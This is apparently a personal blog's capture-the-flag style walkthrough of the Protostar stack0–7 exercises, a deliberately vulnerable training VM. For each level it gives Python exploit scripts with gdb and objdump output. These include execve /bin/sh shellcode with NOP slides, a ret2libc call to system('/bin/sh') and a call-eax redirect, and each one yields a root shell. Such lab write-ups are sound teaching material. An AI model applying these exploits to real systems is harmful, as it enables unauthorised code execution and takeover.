Protostar Write Up Part 1 - stack0-7: shellcodes and ret2libc

Protostar is a basic introduction to binary exploits, with ASLR turned off and an executable stack, it’s meant for learning the basics. You can download the VM here.

I’ll be running it on my personal XenServer setup but VirtualBox is more than enough. Simply ssh in with the credentials they’ve provided and the exercises will be in /opt.

I’ll be doing the stack exercises in this post. I’m slightly more familliar with stack overflows but there are things I got stuck at, like ROP and ret2libc.

Spoilers Ahead!


Stack 0

Stack 0 is given as:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  modified = 0;
  gets(buffer);

  if(modified != 0) {
      printf("you have changed the 'modified' variable\n");
  } else {
      printf("Try again?\n");
  }
}

Since modified is above the buffer, overwriting one byte will do the trick.

stack0.py:

payload = "A" * 65
print payload
$ python stack0.py | /opt/protostar/bin/stack0
you have changed the 'modified' variable

Stack 1

Almost the same as stack0, but modified has to be 0x61626364.

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  if(argc == 1) {
      errx(1, "please specify an argument\n");
  }

  modified = 0;
  strcpy(buffer, argv[1]);

  if(modified == 0x61626364) {
      printf("you have correctly got the variable to the right value\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }
}

The site tells us that Protostar is little endian, so I’ll use the struct module in python to pack it into little endian form.

stack1.py:

import struct
payload = "A" * 64
payload += struct.pack('I', 0x61626364)
print payload
$ /opt/protostar/bin/stack1 `python stack1.py`
you have correctly got the variable to the right value

Stack 2

The method of exploiting this is the same as stack1 only changing 0x0d0a0d0a and setting it as an environment variable.

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];
  char *variable;

  variable = getenv("GREENIE");

  if(variable == NULL) {
      errx(1, "please set the GREENIE environment variable\n");
  }

  modified = 0;

  strcpy(buffer, variable);

  if(modified == 0x0d0a0d0a) {
      printf("you have correctly modified the variable\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }

}

stack2.py:

import struct
payload = "A" * 64
payload += struct.pack('I', 0x0d0a0d0a)
print payload
$ export GREENIE=`python stack2.py`
$ /opt/protostar/bin/stack2
you have correctly modified the variable

Stack 3

Stack 3 gets slightly more interesting as gdb or objdump is required.

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  volatile int (*fp)();
  char buffer[64];

  fp = 0;

  gets(buffer);

  if(fp) {
      printf("calling function pointer, jumping to 0x%08x\n", fp);
      fp();
  }
}

The concept is still the same, since the program will jump to where fp points to, just overwrite fp with win’s address.

We can get the address with gdb.

(gdb) disass win
Dump of assembler code for function win:
0x08048424 <win+0>:	push   %ebp
0x08048425 <win+1>:	mov    %esp,%ebp
0x08048427 <win+3>:	sub    $0x18,%esp
0x0804842a <win+6>:	movl   $0x8048540,(%esp)
0x08048431 <win+13>:	call   0x8048360 <puts@plt>
0x08048436 <win+18>:	leave
0x08048437 <win+19>:	ret
End of assembler dump.

The address of win is 0x08048424, we can add this in the exploit.

stack3.py

import struct
payload = "A" * 64
payload += struct.pack('I', 0x08048424)
print payload
$ python stack3.py | /opt/protostar/bin/stack3
calling function pointer, jumping to 0x08048424
code flow successfully changed

Stack 4

There’s no file pointer this time, so we’ll have to overwrite the stored return address.

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

When a program returns, it will jump to an address previously stored in the stack. We’ll just have to find the location of this address by fuzzing stack4 in gdb.

(gdb) r
Starting program: /opt/protostar/bin/stack4
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVV

Program received signal SIGSEGV, Segmentation fault.
0x54545454 in ?? ()

0x54545454 indicates that T controls EIP, changing what’s at T’s position will change EIP.

stack4.py

import struct
payload = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS"
payload += struct.pack('I', 0x08048424)
print payload
$ python stack4.py | /opt/protostar/bin/stack4
code flow successfully changed
Segmentation fault

Stack 5

Stack 5 wants us to exploit this:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

Since there’s no win function, we have to write shellcode or ret2libc. The return address will point to the stack with an offset to hit the shellcode, in this case it’s 40. I got some shellcode online from shell storm and placed it in the stack after the return address. Because stack offsets aren’t always consistent a NOP slide is needed to make it reliable. For x86 the NOP instruction is 0x90.

stack5.py

import struct
padding = "A" * (64 + 12)
jump_addr = struct.pack("I", 0xbffff750 + 40)
nop_slide = "\x90" * 128
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
payload = padding + jump_addr + nop_slide + shellcode
print(payload)

cat is there to stop the program from exiting and allows interaction with the spawned shell.

$ (python stack5.py; cat) | /opt/protostar/bin/stack5
whoami
root

Stack 6

Code to exploit:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void getpath()
{
  char buffer[64];
  unsigned int ret;

  printf("input path please: "); fflush(stdout);

  gets(buffer);

  ret = __builtin_return_address(0);

  if((ret & 0xbf000000) == 0xbf000000) {
      printf("bzzzt (%p)\n", ret);
      _exit(1);
  }

  printf("got path %s\n", buffer);
}

int main(int argc, char **argv)
{
  getpath();



}

In getpath the program checks if the return address is in the stack, if it does the program exits without returning to the address. A ret2libc or ROP exploit is needed, I’m going for ret2libc.

For a ret2libc attack we overwrite the return pointer to a libc function like system. Reading system’s man pages got me this:

The system() function hands the argument command to the command interpreter sh(1). The calling process waits for the shell to finish executing the command, ignoring SIGINT and SIGQUIT, and blocking SIGCHLD.

The command argument can be passed through the stack by placing it after the return address, but we will need to find "/bin/sh" in the memory first.

This will be the stack layout:

-------------------------------------------
| buffer | padding | &system | &"/bin/sh" |
-------------------------------------------

Getting system’s address using GDB:

$ gdb /opt/protostar/bin/stack6
Reading symbols from /opt/protostar/bin/stack6...done.
(gdb) b main
Breakpoint 1 at 0x8048500: file stack6/stack6.c, line 27.
(gdb) r
Starting program: /opt/protostar/bin/stack6

Breakpoint 1, main (argc=1, argv=0xbffff804) at stack6/stack6.c:27
(gdb) p system
$1 = {<text variable, no debug info>} 0xb7ecffb0 <__libc_system>

There are usually strings in the stack like environment variables but strings in libraries are more reliable. I’m going to use strings in libc, so I’ll have to get the libc address.

(gdb) info proc map
process 2136
cmdline = '/opt/protostar/bin/stack6'
cwd = '/tmp'
exe = '/opt/protostar/bin/stack6'
Mapped address spaces:

	Start Addr   End Addr       Size     Offset objfile
	 0x8048000  0x8049000     0x1000          0        /opt/protostar/bin/stack6
	 0x8049000  0x804a000     0x1000          0        /opt/protostar/bin/stack6
	0xb7e96000 0xb7e97000     0x1000          0
	0xb7e97000 0xb7fd5000   0x13e000          0         /lib/libc-2.11.2.so
	0xb7fd5000 0xb7fd6000     0x1000   0x13e000         /lib/libc-2.11.2.so
	0xb7fd6000 0xb7fd8000     0x2000   0x13e000         /lib/libc-2.11.2.so
	0xb7fd8000 0xb7fd9000     0x1000   0x140000         /lib/libc-2.11.2.so
	0xb7fd9000 0xb7fdc000     0x3000          0
	0xb7fe0000 0xb7fe2000     0x2000          0
	0xb7fe2000 0xb7fe3000     0x1000          0           [vdso]
	0xb7fe3000 0xb7ffe000    0x1b000          0         /lib/ld-2.11.2.so
	0xb7ffe000 0xb7fff000     0x1000    0x1a000         /lib/ld-2.11.2.so
	0xb7fff000 0xb8000000     0x1000    0x1b000         /lib/ld-2.11.2.so
	0xbffeb000 0xc0000000    0x15000          0           [stack]

Libc starts at 0xb7e97000 but I’ll need to find a string in it using strings:

$ strings -t d /lib/libc-2.11.2.so | grep /bin/sh
1176511 /bin/sh

This means /bin/sh will be at 0xb7e97000 + 1176511. I now have everything we need for the exploit.

stack6.py

import struct
padding = "A" * (64 + 16)
system_argument = struct.pack("I", 0xb7e97000 + 1176511)
jump_system = struct.pack("I", 0xb7ecffb0)
payload = padding + jump_system + "AAAA" + system_argument
print(payload)
(python stack6.py;cat) | /opt/protostar/bin/stack6
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA���AAAAAAAAAAAA���AAAA�c�
whoami
root

Stack 7

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

char *getpath()
{
  char buffer[64];
  unsigned int ret;

  printf("input path please: "); fflush(stdout);

  gets(buffer);

  ret = __builtin_return_address(0);

  if((ret & 0xb0000000) == 0xb0000000) {
      printf("bzzzt (%p)\n", ret);
      _exit(1);
  }

  printf("got path %s\n", buffer);
  return strdup(buffer);
}

int main(int argc, char **argv)
{
  getpath();



}

The restriction tightened so the previous method won’t work but there is a call to strdup, its man pages states:

The strdup() function returns a pointer to the duplicated string, or NULL if insufficient memory was available.

The aim is to divert code execution to the returned string. Since functions typically return to EAX a jmp %eax or call %eax would run the shellcode in our buffer.

$ objdump -D /opt/protostar/bin/stack7 | grep "call.*eax"
 8048478:	ff 14 85 5c 96 04 08 	call   *0x804965c(,%eax,4)
 80484bf:	ff d0                	call   *%eax
 80485eb:	ff d0                	call   *%eax

Stack layout

------------------------------------
| shell code | padding | &call_eax |
------------------------------------

I used a different shellcode this time.

stack7.py

import struct
shell_code = "\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
padding = "A" * ((64 + 16) - len(shell_code))
call_eax = struct.pack("I", 0x80484bf)
payload = shell_code + padding + call_eax
print(payload)
$ python stack7.py | /opt/protostar/bin/stack7
input path please: got path 1�1۰̀Sh/ttyh/dev��1�f�'�̀1�Ph//shh/bin��PS�ᙰ
                                                                       ̀AAAAAAAAA�AAAAAAAAAAAA��
whoami
root

nankeen

Pwn, rev, and stuff.


By Kai, 2018-03-31